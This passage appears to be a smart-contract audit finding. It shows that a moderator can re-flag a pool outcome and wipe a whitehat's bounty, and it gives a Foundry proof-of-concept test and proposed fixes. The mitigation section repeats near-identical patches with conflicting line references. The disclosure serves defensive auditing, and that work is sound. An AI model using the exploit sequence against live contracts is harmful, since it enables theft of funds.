* Normally, the moderator flags CORRUPTED once and the attacker claims their bounty within 180 days.
* The specific issue allows the moderator to first flag goodFaith CORRUPTED (setting a bounty), then re-flag to bad-faith CORRUPTED (zeroing the bounty), and the attacker can never reclaim it.
* The moderator CAN always re-flag while claimsStarted is false; this is a permissionless code path for the moderator role.
* The moderator must act maliciously, but the code contains no protection preventing this sequence.
Impact:
* Whitehat's entire bounty entitlement (potentially millions in staked value) is permanently destroyed.
* The pool is swept to recoveryAddress instead of rewarding the security researcher.
⚠️ TESTED & PASSED — forge test PASS
The Foundry test below proves the moderator can cancel the bounty by re-flagging from goodFaith=true to goodFaith=false before any claim:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract PoC_M01_BountyRevocation is BaseConfidencePoolTest {
function test_M01_BountyRevocation() public {
// Setup: deposit 1000 ETH
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(block.timestamp + 1 days);
deal(address(token), alice, 1000 ether);
vm.startPrank(alice);
token.approve(address(pool), 1000 ether);
pool.stake(1000 ether);
vm.stopPrank();
// Registry marks agreement as CORRUPTED
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Step 1: Moderator sets goodFaith=true — bountyEntitlement = 1000 ETH
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
// Step 2: Moderator re-flags to goodFaith=false — bountyEntitlement = 0
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// Step 3: Whitehat claim reverts — bounty permanently destroyed
vm.prank(attacker);
vm.expectRevert();
pool.claimAttackerBounty();
}
}
```
forge test --match-path "test/PoC_BattleChain_Medium.t.sol" -vv --match-test test_M01_BountyRevocation
Mitigation:
Disallow re-flagging that changes goodFaith from true to false after outcome is already set:
```solidity
// In flagOutcome(), before L354:
if (outcome != PoolStates.Outcome.UNRESOLVED && goodFaith != goodFaith_) {
revert GoodFaithImmutable();
}
```
Alternatively, preserve bountyEntitlement at its maximum across all flags:
```solidity
if (willBeGoodFaithCorrupted) {
if (bountyEntitlement == 0) {
bountyEntitlement = snapshotTotalStaked + snapshotTotalBonus;
}
}
```
Disallow re-flagging that changes goodFaith from true to false when outcome is already CORRUPTED:
```solidity
// In flagOutcome(), after L356:
if (outcome != PoolStates.Outcome.UNRESOLVED && goodFaith != goodFaith_) {
revert GoodFaithImmutable();
}
```
Alternatively, preserve bountyEntitlement at its maximum across all goodFaith=true flags:
```solidity
// Replace L361-362 with:
corruptedReserve = newOutcome == CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
if (willBeGoodFaithCorrupted) {
if (bountyEntitlement == 0) {
bountyEntitlement = snapshotTotalStaked + snapshotTotalBonus;
}
}
```